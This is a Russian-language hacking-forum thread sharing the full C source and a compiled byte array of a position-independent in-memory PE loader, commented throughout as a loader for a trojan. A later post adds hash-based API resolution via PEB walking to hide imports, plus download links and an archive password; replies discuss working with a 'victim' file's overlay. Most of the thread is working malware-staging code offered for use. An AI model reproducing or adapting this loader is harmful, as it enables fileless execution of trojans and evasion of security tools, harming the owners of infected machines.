• XSS.stack #1 – первый литературный журнал от юзеров форума

Базонезависимый PE-загрузчик [763 bytes]

Left4Dead

(L3) cache
Пользователь
Регистрация
08.05.2010
Сообщения
259
Реакции
3
При написании использовалась статья http://wasm.ru/article.php?article=memfile и сорц загрузчика покойного Great. Загрузчик Грейта располагает PE-образ в рандомном месте памяти и правит релоки. Редко какие проги работают после такого.

Поэтому был написан следующий код, который располагает PE-образ по нужному ImageBase, правит импорт, PEB, TLS, и передаёт управление на точку входа. Функция загрузчика специально сделана базонезависимой, чтобы её расположить подальше в памяти и передать туда управление, чтобы можно было спокойно работать с адресами возле стандартных ImageBase.

1) Высиратель кода функции лоадера высирает код функции в файл loader.bin:
Код:
// PELoader.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"

#include <windows.h>
#include <winnt.h>
#include <stdio.h>

///////////////////////////////////
#define k_LoadLibrary (*(HMODULE(WINAPI *)(LPSTR)) ptrLoadLibrary)
#define k_GetProcAddress (*(DWORD(WINAPI *)(HMODULE,LPSTR)) ptrGetProcAddress)
#define k_UnmapViewOfFile (*(DWORD(WINAPI *)( PVOID )) ptrUnmapViewOfFile)
#define k_VirtualFree (*(DWORD(WINAPI *)( PVOID, int, int )) ptrVirtualFree)
#define k_VirtualAlloc (*(DWORD(WINAPI *)( PVOID, int, int, int )) ptrVirtualAlloc)
#define k_memset (*(VOID(WINAPI *)( void *, int, size_t )) ptrMemset)
#define k_memcpy (*(VOID*(WINAPI *)( void *, const void *, size_t )) ptrMemcpy)

#define RVATOVA( offset ) ( ( ( DWORD ) ( buf_IMAGE_OPTIONAL_HEADER -> ImageBase ) + ( DWORD ) ( offset ) ) ) 

typedef struct _PEB {
	DWORD smth[2];
	PVOID ImageBaseAddress;
} PEB, *PPEB;

typedef struct _TEB {
	DWORD smth[12];
	PPEB Peb;
} TEB, *PTEB;

/////////////////////////////////////////////////////////////////////////////////////
// Функция загрузки троя
void loader( PBYTE buf, int bufLen, DWORD ptrUnmapViewOfFile, DWORD ptrVirtualFree, DWORD ptrVirtualAlloc, DWORD ptrLoadLibrary, DWORD ptrGetProcAddress, DWORD ptrMemset, DWORD ptrMemcpy )
{
	/////////////////////////////////////////////////////////////////////////////////////
	// Получаем PE-заголовок троя
	IMAGE_NT_HEADERS *buf_IMAGE_NT_HEADERS = ( IMAGE_NT_HEADERS * ) ( buf + (( IMAGE_DOS_HEADER * ) buf ) -> e_lfanew );
	PIMAGE_FILE_HEADER buf_IMAGE_FILE_HEADER = ( PIMAGE_FILE_HEADER ) ( ( PBYTE ) buf_IMAGE_NT_HEADERS + sizeof( IMAGE_NT_SIGNATURE ) );
	PIMAGE_OPTIONAL_HEADER buf_IMAGE_OPTIONAL_HEADER = ( PIMAGE_OPTIONAL_HEADER ) ( ( PBYTE ) buf_IMAGE_FILE_HEADER + sizeof( IMAGE_FILE_HEADER ) );
	PIMAGE_SECTION_HEADER buf_IMAGE_SECTION_HEADER = ( PIMAGE_SECTION_HEADER ) ( ( PBYTE ) buf_IMAGE_OPTIONAL_HEADER + sizeof( IMAGE_OPTIONAL_HEADER ) );

	/////////////////////////////////////////////////////////////////////////////////////
	// Разрешаем запись в память по адресу ImageBase
	DWORD pageSize = 0x00010000; // размер страницы 64Кб
	for ( DWORD pageAddr = 0; pageAddr < buf_IMAGE_OPTIONAL_HEADER -> SizeOfImage; pageAddr = pageAddr + pageSize )
	{
  k_UnmapViewOfFile( ( LPVOID ) RVATOVA( pageAddr ) );
  k_VirtualFree( ( LPVOID ) RVATOVA( pageAddr ), 0, MEM_RELEASE );
  k_VirtualAlloc( ( LPVOID ) RVATOVA( pageAddr ), pageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
  k_memset( ( LPVOID ) RVATOVA( pageAddr ), 0, pageSize );
	}

	/////////////////////////////////////////////////////////////////////////////////////
	// Размещаем PE-заголовок троя
	k_memcpy( (PVOID) buf_IMAGE_OPTIONAL_HEADER -> ImageBase, buf, buf_IMAGE_OPTIONAL_HEADER -> SizeOfHeaders );

	/////////////////////////////////////////////////////////////////////////////////////
	// Размещаем секции троя
	for ( DWORD k = 0; k < buf_IMAGE_FILE_HEADER -> NumberOfSections; k++, buf_IMAGE_SECTION_HEADER++ )
  k_memcpy( (PVOID) RVATOVA( buf_IMAGE_SECTION_HEADER -> VirtualAddress ), 
    buf + buf_IMAGE_SECTION_HEADER -> PointerToRawData,    	
    min ( buf_IMAGE_SECTION_HEADER -> Misc.VirtualSize, buf_IMAGE_SECTION_HEADER -> SizeOfRawData ) );

	/////////////////////////////////////////////////////////////////////////////////////
	// Освобождаем буфер троя
	k_VirtualFree( buf, bufLen, MEM_RELEASE );
	
	/////////////////////////////////////////////////////////////////////////////////////
	// Правим импорт
	IMAGE_IMPORT_DESCRIPTOR *importDesc = ( PIMAGE_IMPORT_DESCRIPTOR ) RVATOVA( buf_IMAGE_OPTIONAL_HEADER -> DataDirectory[1].VirtualAddress );

    for(; importDesc->Characteristics; importDesc++ )
    {
        HMODULE hDll = k_LoadLibrary( ( LPTSTR ) RVATOVA( importDesc->Name ) );

        DWORD RvaOfThunks = importDesc->FirstThunk;
  
        if( importDesc->TimeDateStamp == -1 )
        {
            PDWORD Func;
  	
            PIMAGE_THUNK_DATA OriginalThunk = ( PIMAGE_THUNK_DATA ) RVATOVA( importDesc->OriginalFirstThunk );
            PIMAGE_THUNK_DATA Thunk = ( PIMAGE_THUNK_DATA ) RVATOVA( importDesc->FirstThunk );
  	
            if( OriginalThunk->u1.Ordinal & 0xf0000000 )
            {
                OriginalThunk->u1.Ordinal &= 0xffff;
                Func = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) OriginalThunk->u1.Ordinal );
            }
            else
            {
                PIMAGE_IMPORT_BY_NAME Name = ( PIMAGE_IMPORT_BY_NAME ) RVATOVA( OriginalThunk->u1.AddressOfData );
                Func = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Name->Name );
            }
  	
            if( Thunk->u1.Function == Func )
            {
                continue;
            }
            else
            {
                RvaOfThunks = importDesc -> OriginalFirstThunk;
            }
        }
  
        for( PIMAGE_THUNK_DATA Thunk = ( PIMAGE_THUNK_DATA ) RVATOVA( RvaOfThunks ); Thunk->u1.Ordinal; Thunk++ )
        {
            if( Thunk->u1.Ordinal & 0xf0000000 )
            {
                Thunk->u1.Ordinal &= 0xffff;
                Thunk->u1.Function = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Thunk -> u1.Ordinal );    
            }
            else
            {
                PIMAGE_IMPORT_BY_NAME Name = ( PIMAGE_IMPORT_BY_NAME ) RVATOVA( Thunk->u1.AddressOfData );
                Thunk->u1.Function = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Name->Name );
            }
  	
            PIMAGE_THUNK_DATA ThunkToWrite;
            ThunkToWrite = ( PIMAGE_THUNK_DATA )( ( DWORD ) RVATOVA( importDesc->FirstThunk ) + ( ( DWORD ) Thunk - ( DWORD ) RVATOVA ( RvaOfThunks ) ) );
            ThunkToWrite->u1.Function = Thunk->u1.Function;
        }
    }

	/////////////////////////////////////////////////////////////////////////////////////
	// Правим PEB для работы с ресурсами
	TEB* teb;
	__asm
	{
  mov eax, dword ptr fs:[18h]
  mov teb, eax
	}
    PPEB peb = teb->Peb;
    peb->ImageBaseAddress = (PVOID) buf_IMAGE_OPTIONAL_HEADER -> ImageBase;

	/////////////////////////////////////////////////////////////////////////////////////
	// TLS
	DWORD addrTLS = RVATOVA( buf_IMAGE_OPTIONAL_HEADER -> DataDirectory[9].VirtualAddress );

	_asm
	{
  mov eax, addrTLS
  mov dword ptr fs:[2Ch], eax
	}

	/////////////////////////////////////////////////////////////////////////////////////
	// Прыгаем на точку входа троя
	DWORD EntryPoint = RVATOVA( buf_IMAGE_OPTIONAL_HEADER->AddressOfEntryPoint );
	_asm jmp EntryPoint
}
void marker_loader( )
{
}


int main(int argc, char* argv[])
{
	DWORD loaderLength =( DWORD ) ( (BYTE*) marker_loader - (BYTE*) loader );
	FILE *f = fopen( "loader.bin", "wb" );
	fwrite( loader, loaderLength, 1, f );
	fclose( f );
	return 0;
}

2) > ArrGenTool.exe loader.bin loader.h Loader
создаёт loader.h :
Код:
unsigned char Loader[] = { 
0x55,0x8B,0xEC,0x83,0xEC,0x58,0x53,0x56,0x57,0x8B,0x45,0x08,0x8B,0x4D,0x08,0x03,0x48,0x3C,0x89,0x4D,
0xFC,0x8B,0x55,0xFC,0x83,0xC2,0x04,0x89,0x55,0xE8,0x8B,0x45,0xE8,0x83,0xC0,0x14,0x89,0x45,0xD0,0x8B,
0x4D,0xD0,0x81,0xC1,0xE0,0x00,0x00,0x00,0x89,0x4D,0xDC,0xC7,0x45,0xE0,0x00,0x00,0x01,0x00,0xC7,0x45,
0xF4,0x00,0x00,0x00,0x00,0xEB,0x09,0x8B,0x55,0xF4,0x03,0x55,0xE0,0x89,0x55,0xF4,0x8B,0x45,0xD0,0x8B,
0x4D,0xF4,0x3B,0x48,0x38,0x73,0x4E,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x03,0x45,0xF4,0x50,0xFF,0x55,0x10,
0x68,0x00,0x80,0x00,0x00,0x6A,0x00,0x8B,0x4D,0xD0,0x8B,0x51,0x1C,0x03,0x55,0xF4,0x52,0xFF,0x55,0x14,
0x6A,0x40,0x68,0x00,0x30,0x00,0x00,0x8B,0x45,0xE0,0x50,0x8B,0x4D,0xD0,0x8B,0x51,0x1C,0x03,0x55,0xF4,
0x52,0xFF,0x55,0x18,0x8B,0x45,0xE0,0x50,0x6A,0x00,0x8B,0x4D,0xD0,0x8B,0x51,0x1C,0x03,0x55,0xF4,0x52,
0xFF,0x55,0x24,0xEB,0x9E,0x8B,0x45,0xD0,0x8B,0x48,0x3C,0x51,0x8B,0x55,0x08,0x52,0x8B,0x45,0xD0,0x8B,
0x48,0x1C,0x51,0xFF,0x55,0x28,0xC7,0x45,0xD4,0x00,0x00,0x00,0x00,0xEB,0x12,0x8B,0x55,0xD4,0x83,0xC2,
0x01,0x89,0x55,0xD4,0x8B,0x45,0xDC,0x83,0xC0,0x28,0x89,0x45,0xDC,0x8B,0x4D,0xE8,0x33,0xD2,0x66,0x8B,
0x51,0x02,0x39,0x55,0xD4,0x73,0x42,0x8B,0x45,0xDC,0x8B,0x4D,0xDC,0x8B,0x50,0x08,0x3B,0x51,0x10,0x73,
0x0B,0x8B,0x45,0xDC,0x8B,0x48,0x08,0x89,0x4D,0xA8,0xEB,0x09,0x8B,0x55,0xDC,0x8B,0x42,0x10,0x89,0x45,
0xA8,0x8B,0x4D,0xA8,0x51,0x8B,0x55,0xDC,0x8B,0x45,0x08,0x03,0x42,0x14,0x50,0x8B,0x4D,0xD0,0x8B,0x51,
0x1C,0x8B,0x45,0xDC,0x03,0x50,0x0C,0x52,0xFF,0x55,0x28,0xEB,0x9E,0x68,0x00,0x80,0x00,0x00,0x8B,0x4D,
0x0C,0x51,0x8B,0x55,0x08,0x52,0xFF,0x55,0x14,0x8B,0x45,0xD0,0x8B,0x48,0x1C,0x8B,0x55,0xD0,0x03,0x4A,
0x68,0x89,0x4D,0xF8,0xEB,0x09,0x8B,0x45,0xF8,0x83,0xC0,0x14,0x89,0x45,0xF8,0x8B,0x4D,0xF8,0x83,0x39,
0x00,0x0F,0x84,0x55,0x01,0x00,0x00,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xF8,0x03,0x41,0x0C,0x50,
0xFF,0x55,0x1C,0x89,0x45,0xC8,0x8B,0x55,0xF8,0x8B,0x42,0x10,0x89,0x45,0xC4,0x8B,0x4D,0xF8,0x83,0x79,
0x04,0xFF,0x0F,0x85,0x83,0x00,0x00,0x00,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xF8,0x03,0x01,0x89,
0x45,0xBC,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xF8,0x03,0x41,0x10,0x89,0x45,0xC0,0x8B,0x55,0xBC,
0x8B,0x02,0x25,0x00,0x00,0x00,0xF0,0x85,0xC0,0x74,0x22,0x8B,0x4D,0xBC,0x8B,0x11,0x81,0xE2,0xFF,0xFF,
0x00,0x00,0x8B,0x45,0xBC,0x89,0x10,0x8B,0x4D,0xBC,0x8B,0x11,0x52,0x8B,0x45,0xC8,0x50,0xFF,0x55,0x20,
0x89,0x45,0xB8,0xEB,0x1F,0x8B,0x4D,0xD0,0x8B,0x51,0x1C,0x8B,0x45,0xBC,0x03,0x10,0x89,0x55,0xB4,0x8B,
0x4D,0xB4,0x83,0xC1,0x02,0x51,0x8B,0x55,0xC8,0x52,0xFF,0x55,0x20,0x89,0x45,0xB8,0x8B,0x45,0xC0,0x8B,
0x08,0x3B,0x4D,0xB8,0x75,0x05,0xE9,0x47,0xFF,0xFF,0xFF,0x8B,0x55,0xF8,0x8B,0x02,0x89,0x45,0xC4,0x8B,
0x4D,0xD0,0x8B,0x51,0x1C,0x03,0x55,0xC4,0x89,0x55,0xCC,0xEB,0x09,0x8B,0x45,0xCC,0x83,0xC0,0x04,0x89,
0x45,0xCC,0x8B,0x4D,0xCC,0x83,0x39,0x00,0x0F,0x84,0x81,0x00,0x00,0x00,0x8B,0x55,0xCC,0x8B,0x02,0x25,
0x00,0x00,0x00,0xF0,0x85,0xC0,0x74,0x24,0x8B,0x4D,0xCC,0x8B,0x11,0x81,0xE2,0xFF,0xFF,0x00,0x00,0x8B,
0x45,0xCC,0x89,0x10,0x8B,0x4D,0xCC,0x8B,0x11,0x52,0x8B,0x45,0xC8,0x50,0xFF,0x55,0x20,0x8B,0x4D,0xCC,
0x89,0x01,0xEB,0x21,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xCC,0x03,0x01,0x89,0x45,0xAC,0x8B,0x55,
0xAC,0x83,0xC2,0x02,0x52,0x8B,0x45,0xC8,0x50,0xFF,0x55,0x20,0x8B,0x4D,0xCC,0x89,0x01,0x8B,0x55,0xD0,
0x8B,0x42,0x1C,0x8B,0x4D,0xF8,0x03,0x41,0x10,0x8B,0x55,0xD0,0x8B,0x4A,0x1C,0x03,0x4D,0xC4,0x8B,0x55,
0xCC,0x2B,0xD1,0x03,0xC2,0x89,0x45,0xB0,0x8B,0x45,0xB0,0x8B,0x4D,0xCC,0x8B,0x11,0x89,0x10,0xE9,0x6A,
0xFF,0xFF,0xFF,0xE9,0x96,0xFE,0xFF,0xFF,0x64,0xA1,0x18,0x00,0x00,0x00,0x89,0x45,0xE4,0x8B,0x45,0xE4,
0x8B,0x48,0x30,0x89,0x4D,0xEC,0x8B,0x55,0xEC,0x8B,0x45,0xD0,0x8B,0x48,0x1C,0x89,0x4A,0x08,0x8B,0x55,
0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xD0,0x03,0x81,0xA8,0x00,0x00,0x00,0x89,0x45,0xD8,0x8B,0x45,0xD8,0x64,
0xA3,0x2C,0x00,0x00,0x00,0x8B,0x55,0xD0,0x8B,0x42,0x1C,0x8B,0x4D,0xD0,0x03,0x41,0x10,0x89,0x45,0xF0,
0xFF,0x65,0xF0 };

3) Вызов функции

Код:
#include "pe_data.h"
#include "loader.h"

...

void main()
{

       ... получаем адреса API

	/////////////////////////////////////////////////////////////////////////////////////
	// Перемещаем подальше код загрузчика
	DWORD loaderLength = sizeof( Loader );
	DWORD loaderCopy = k_VirtualAlloc( NULL, loaderLength, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE );
	memcpy( (void *) loaderCopy, Loader, loaderLength );

	/////////////////////////////////////////////////////////////////////////////////////
	// Перемещаем подальше буфер с троем
	DWORD szPEData = sizeof( PEData );
	PBYTE PEDataCopy = (PBYTE) k_VirtualAlloc( NULL, szPEData, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE );
	memcpy( PEDataCopy, PEData, szPEData );

	/////////////////////////////////////////////////////////////////////////////////////
	// Передаём управление копии загрузчика
	( (void(*)( PBYTE, int, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD )) loaderCopy )( PEDataCopy, szPEData, ptrUnmapViewOfFile, ptrVirtualFree, ptrVirtualAlloc, ptrLoadLibrary, ptrGetProcAddress, ptrMemset, ptrMemcpy );

}
 
у меня базонезависимый универсальный pe loader для 32 битных dll и exe 976 байт (с релоками), для 64 битных dll и exe 1403 байта
с удовольствием глянул бы на этот, пофлудить чтоле на форуме ? все под хайдами мля.
 
Apocalypse
А как же релоки?

Куда релокать-то? Загрузка происходит по базовому адресу.

P. S. Пригодно только для 32-битных EXE. Для DLL есть MemoryModule ( http://www.joachim-bauch.de )

P.P.S. Хайд такой, какой я считаю нужным. Пишите полезные посты - откроются хайды. :)
 
Left4Dead второй раз за день радуешь :)
я мемфайл пользую:) планировал портировать, а тут бац... просто шик..
если добавить внутрь лоадера динамический поиск апишек по хэшам (думаю не сильно раздуется размер, да и х с ним...) то будет вообще прелесть. спасибо!

хороша ложка к обеду
P. S. зря я винуксу рассказал про багу в форуме с хайдом \=
покажите ваш кодес, возможно и ТС предоставит свой...


p.s. раз уж пошла такая пьянка... внимание вопрос: можно ведь и оверлеем хоста оперировать прям с загрузчика?
 
>> можно ведь и оверлеем хоста оперировать прям с загрузчика?
вы про что? оверлей не загружается в память и файл на момент запуска заблокирован и вы туда ничего не запишите. Если конечно мы говорим за юзермодные модули.

>> покажите ваш кодес, возможно и ТС предоставит свой...
не в этом же дело, как вы предлагаете обсуждать то, что не видно. Я конечно представляю, что там находится и судя по всему довольно ограниченного функционала судя по
>> Пригодно только для 32-битных EXE. Для DLL есть MemoryModule

Я не против хайдов как таковых, они стимулируют, но не 100 же, учитывая количество дисскусий здесь, а то что вы предлагаете - не реально по полезной теме открывать раз в день, чтобы нагнать кол-во постов. И что теперь, месяц-два ждать? А потом забанят за поднятие старых тем. Сорри, все это имхо, давайте здесь не поднимать флейма.
 
Залил исправленный загрузчик.
Теперь в функцию не требуется передавать указатели: ptrUnmapViewOfFile, ptrVirtualFree, ptrVirtualAlloc, ptrLoadLibrary, ptrGetProcAddress, ptrMemset, ptrMemcpy.
Он сам всё находит.

Ссылка: http://www.datafilehost.com/download-294890b2.html

Ссылка #2: http://zalil.ru/34209855

Пароль:
damagelab_713979sf9s79qyw9fq90w

Исходник загрузчика:
Код:
#include <windows.h>
#include <winnt.h>
#include <stdio.h>

///////////////////////////////////
#define k_LoadLibrary (*(HMODULE(WINAPI *)(LPSTR)) ptrLoadLibrary)
#define k_GetProcAddress (*(DWORD(WINAPI *)(HMODULE,LPSTR)) ptrGetProcAddress)
#define k_UnmapViewOfFile (*(DWORD(WINAPI *)( PVOID )) ptrUnmapViewOfFile)
#define k_VirtualFree (*(DWORD(WINAPI *)( PVOID, int, int )) ptrVirtualFree)
#define k_VirtualAlloc (*(DWORD(WINAPI *)( PVOID, int, int, int )) ptrVirtualAlloc)
#define k_memset (*(VOID(WINAPI *)( void *, int, size_t )) ptrMemset)
#define k_memcpy (*(VOID*(WINAPI *)( void *, const void *, size_t )) ptrMemcpy)

#define RVATOVA( offset ) ( ( ( DWORD ) ( buf_IMAGE_OPTIONAL_HEADER -> ImageBase ) + ( DWORD ) ( offset ) ) ) 

typedef struct _PEB {
DWORD smth[2];
PVOID ImageBaseAddress;
} PEB, *PPEB;

typedef struct _TEB {
DWORD smth[12];
PPEB Peb;
} TEB, *PTEB;


LPVOID GetProcAddress_(DWORD dwModule, DWORD dwProcNameHash);

/////////////////////////////////////////////////////////////////////////////////////
// Функция загрузки троя
void loader( PBYTE buf, int bufLen )
{
/////////////////////////////////////////////////////////////////////////////////////
// Получаем PE-заголовок троя
IMAGE_NT_HEADERS *buf_IMAGE_NT_HEADERS = ( IMAGE_NT_HEADERS * ) ( buf + (( IMAGE_DOS_HEADER * ) buf ) -> e_lfanew );
PIMAGE_FILE_HEADER buf_IMAGE_FILE_HEADER = ( PIMAGE_FILE_HEADER ) ( ( PBYTE ) buf_IMAGE_NT_HEADERS + sizeof( IMAGE_NT_SIGNATURE ) );
PIMAGE_OPTIONAL_HEADER buf_IMAGE_OPTIONAL_HEADER = ( PIMAGE_OPTIONAL_HEADER ) ( ( PBYTE ) buf_IMAGE_FILE_HEADER + sizeof( IMAGE_FILE_HEADER ) );
PIMAGE_SECTION_HEADER buf_IMAGE_SECTION_HEADER = ( PIMAGE_SECTION_HEADER ) ( ( PBYTE ) buf_IMAGE_OPTIONAL_HEADER + sizeof( IMAGE_OPTIONAL_HEADER ) );

/////////////////////////////////////////////////////////////////////////////////////
// Получаем API троя
FARPROC ptrUnmapViewOfFile = (int (__stdcall *)(void))GetProcAddress_(1, 0x391AB6AF);
FARPROC ptrVirtualFree = (int (__stdcall *)(void))GetProcAddress_(1, 0xCD53F5DD);
FARPROC ptrVirtualAlloc = (int (__stdcall *)(void))GetProcAddress_(1, 0x9CE0D4A);
FARPROC ptrLoadLibrary = (int (__stdcall *)(void))GetProcAddress_(1, 0x3FC1BD8D);
FARPROC ptrGetProcAddress = (int (__stdcall *)(void))GetProcAddress_(1, 0xC97C1FFF);
FARPROC ptrMemset = (int (__stdcall *)(void))GetProcAddress_(2, 0x8463960A);
FARPROC ptrMemcpy = (int (__stdcall *)(void))GetProcAddress_(2, 0xD141AFD3);

/////////////////////////////////////////////////////////////////////////////////////
// Разрешаем запись в память по адресу ImageBase
DWORD pageSize = 0x00010000; // размер страницы 64Кб
for ( DWORD pageAddr = 0; pageAddr < buf_IMAGE_OPTIONAL_HEADER -> SizeOfImage; pageAddr = pageAddr + pageSize )
{
 k_UnmapViewOfFile( ( LPVOID ) RVATOVA( pageAddr ) );
 k_VirtualFree( ( LPVOID ) RVATOVA( pageAddr ), 0, MEM_RELEASE );
 k_VirtualAlloc( ( LPVOID ) RVATOVA( pageAddr ), pageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
 k_memset( ( LPVOID ) RVATOVA( pageAddr ), 0, pageSize );
}

/////////////////////////////////////////////////////////////////////////////////////
// Размещаем PE-заголовок троя
k_memcpy( (PVOID) buf_IMAGE_OPTIONAL_HEADER -> ImageBase, buf, buf_IMAGE_OPTIONAL_HEADER -> SizeOfHeaders );

/////////////////////////////////////////////////////////////////////////////////////
// Размещаем секции троя
for ( DWORD k = 0; k < buf_IMAGE_FILE_HEADER -> NumberOfSections; k++, buf_IMAGE_SECTION_HEADER++ )
 k_memcpy( (PVOID) RVATOVA( buf_IMAGE_SECTION_HEADER -> VirtualAddress ), 
   buf + buf_IMAGE_SECTION_HEADER -> PointerToRawData,     
   min ( buf_IMAGE_SECTION_HEADER -> Misc.VirtualSize, buf_IMAGE_SECTION_HEADER -> SizeOfRawData ) );

/////////////////////////////////////////////////////////////////////////////////////
// Освобождаем буфер троя
k_VirtualFree( buf, bufLen, MEM_RELEASE );

/////////////////////////////////////////////////////////////////////////////////////
// Правим импорт
IMAGE_IMPORT_DESCRIPTOR *importDesc = ( PIMAGE_IMPORT_DESCRIPTOR ) RVATOVA( buf_IMAGE_OPTIONAL_HEADER -> DataDirectory[1].VirtualAddress );

   for(; importDesc->Characteristics; importDesc++ )
   {
       HMODULE hDll = k_LoadLibrary( ( LPTSTR ) RVATOVA( importDesc->Name ) );

       DWORD RvaOfThunks = importDesc->FirstThunk;
 
       if( importDesc->TimeDateStamp == -1 )
       {
           PDWORD Func;
  
           PIMAGE_THUNK_DATA OriginalThunk = ( PIMAGE_THUNK_DATA ) RVATOVA( importDesc->OriginalFirstThunk );
           PIMAGE_THUNK_DATA Thunk = ( PIMAGE_THUNK_DATA ) RVATOVA( importDesc->FirstThunk );
  
           if( OriginalThunk->u1.Ordinal & 0xf0000000 )
           {
               OriginalThunk->u1.Ordinal &= 0xffff;
               Func = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) OriginalThunk->u1.Ordinal );
           }
           else
           {
               PIMAGE_IMPORT_BY_NAME Name = ( PIMAGE_IMPORT_BY_NAME ) RVATOVA( OriginalThunk->u1.AddressOfData );
               Func = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Name->Name );
           }
  
           if( Thunk->u1.Function == Func )
           {
               continue;
           }
           else
           {
               RvaOfThunks = importDesc -> OriginalFirstThunk;
           }
       }
 
       for( PIMAGE_THUNK_DATA Thunk = ( PIMAGE_THUNK_DATA ) RVATOVA( RvaOfThunks ); Thunk->u1.Ordinal; Thunk++ )
       {
           if( Thunk->u1.Ordinal & 0xf0000000 )
           {
               Thunk->u1.Ordinal &= 0xffff;
               Thunk->u1.Function = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Thunk -> u1.Ordinal );    
           }
           else
           {
               PIMAGE_IMPORT_BY_NAME Name = ( PIMAGE_IMPORT_BY_NAME ) RVATOVA( Thunk->u1.AddressOfData );
               Thunk->u1.Function = ( PDWORD ) k_GetProcAddress( hDll, ( char* ) Name->Name );
           }
  
           PIMAGE_THUNK_DATA ThunkToWrite;
           ThunkToWrite = ( PIMAGE_THUNK_DATA )( ( DWORD ) RVATOVA( importDesc->FirstThunk ) + ( ( DWORD ) Thunk - ( DWORD ) RVATOVA ( RvaOfThunks ) ) );
           ThunkToWrite->u1.Function = Thunk->u1.Function;
       }
   }

/////////////////////////////////////////////////////////////////////////////////////
// Правим PEB для работы с ресурсами
TEB* teb;
__asm
{
 mov eax, dword ptr fs:[18h]
 mov teb, eax
}
   PPEB peb = teb->Peb;
   peb->ImageBaseAddress = (PVOID) buf_IMAGE_OPTIONAL_HEADER -> ImageBase;

/////////////////////////////////////////////////////////////////////////////////////
// TLS
DWORD addrTLS = RVATOVA( buf_IMAGE_OPTIONAL_HEADER -> DataDirectory[9].VirtualAddress );

_asm
{
 mov eax, addrTLS
 mov dword ptr fs:[2Ch], eax
}

/////////////////////////////////////////////////////////////////////////////////////
// Прыгаем на точку входа троя
DWORD EntryPoint = RVATOVA( buf_IMAGE_OPTIONAL_HEADER->AddressOfEntryPoint );
_asm jmp EntryPoint
}


unsigned __int32 GetCrc32(char *data)
{
    unsigned __int32 r = 0xFFFFFFFFUL;
	int i, b;

    i = 0;
    while(data[i] != 0)
    {
        r ^= data[i];
        for (b = 0; b < 8; ++b)
        {
            if ((unsigned __int8) r & 1)
                r = (r >> 1) ^ 0xEDB88320UL;
            else
                r >>= 1;
        }
        i++;
    }

	return r ^ 0xFFFFFFFFUL;
}

HMODULE GetKernel32()
{
	__asm 
	{
          xor ecx, ecx
        ;Supports 2k/xp/Vista/7
   mov esi,dword ptr fs:[30h]
   mov esi,[esi + 0Ch]
   mov esi,[esi + 1ch]
      next_module:
   mov eax,[esi + 8h]
   mov edi,[esi + 20h]
   mov esi,[esi]
   cmp word ptr [edi+12*2], cx
   jnz next_module
	}
}

HMODULE GetNtdll(void)
{
	__asm 
	{
        mov eax,dword ptr fs:[30h]
        mov eax,dword ptr [eax+0ch]
        mov esi,dword ptr [eax+0ch]
        lodsd
        mov eax,dword ptr [eax+018h]
	}
}


LPVOID GetProcAddress_(DWORD dwModule, DWORD dwProcNameHash)
{
  HMODULE hModule;
  DWORD x;

  switch (dwModule)
  {
  case 1: 
    hModule = GetKernel32();
    break;

  case 2:
    hModule = GetNtdll();
   break;

  default:
    return 0;
  }

  PIMAGE_EXPORT_DIRECTORY lExport = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModule + ((PIMAGE_NT_HEADERS)((DWORD)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew))->OptionalHeader.DataDirectory[0].VirtualAddress);

  DWORD *Names = (DWORD*)((DWORD)hModule + lExport->AddressOfNames);
  WORD *Ordinals = (WORD*)((DWORD)hModule + lExport->AddressOfNameOrdinals);
  DWORD *Functions = (DWORD*)((DWORD)hModule + lExport->AddressOfFunctions);

  x = lExport->NumberOfNames;

  for (x = 0; x < lExport->NumberOfNames; x++)
  {
    if (GetCrc32((char*)(Names[x] + (DWORD)hModule)) == dwProcNameHash)
    {
      return (LPVOID)(Functions[Ordinals[x]] + (DWORD)hModule);
    }
  }
  return NULL;
}

void marker_loader( )
{
}


int main(int argc, char* argv[])
{
DWORD loaderLength =( DWORD ) ( (BYTE*) marker_loader - (BYTE*) loader );
FILE *f = fopen( "loader.bin", "wb" );
fwrite( loader, loaderLength, 1, f );
fclose( f );
return 0;
}
 
neko
вы про что? оверлей не загружается в память и файл на момент запуска заблокирован и вы туда ничего не запишите. Если конечно мы говорим за юзермодные модули
я не про запись (зачем писать в оверлей?:)), а про чтение. Конкретнее про метод считывания прям из памяти, чтобы не дописывать оверл в хвост файла загрузчика.

проблема была в коде, в получении базы кернел32, обновили код, теперь всё ок
Код:
HMODULE GetKernel32()
{
 __asm 
 {
          xor ecx, ecx
        ;Supports 2k/xp/Vista/7
   mov esi,dword ptr fs:[30h]
   mov esi,[esi + 0Ch]
   mov esi,[esi + 1ch]
      next_module:
   mov eax,[esi + 8h]
   mov edi,[esi + 20h]
   mov esi,[esi]
   cmp word ptr [edi+12*2], cx
   jnz next_module
 }
}
 
>> Конкретнее про метод считывания прям из памяти, чтобы не дописывать оверл в хвост файла загрузчика

обычно оверлеем называется то, что не включается в маппируемый образ.

>> считывания прям из памяти
файловое ио в смысле?

Немного непонятны формулировки, сорри ))
 
neko
обычно оверлеем называется то, что не включается в маппируемый образ.
в маппируемый системным загрузчиком, но у нас ведь свой, и соответственно правила игры наши. короче чтобы без ебли с формулировками:
какие есть варианты использования оверлея файла жертвы, без переноса в конечный файл?

kraken
отличный был лоадер, давно я так не смеялся.
он не был, он есть! чтож, раз вам это показалось смешным, покажите нам что-то не смешное...
 
kraken, покажи как надо, зацени всем свой код, будешь дальше выебываться и писать не по делу пойдешь в бан

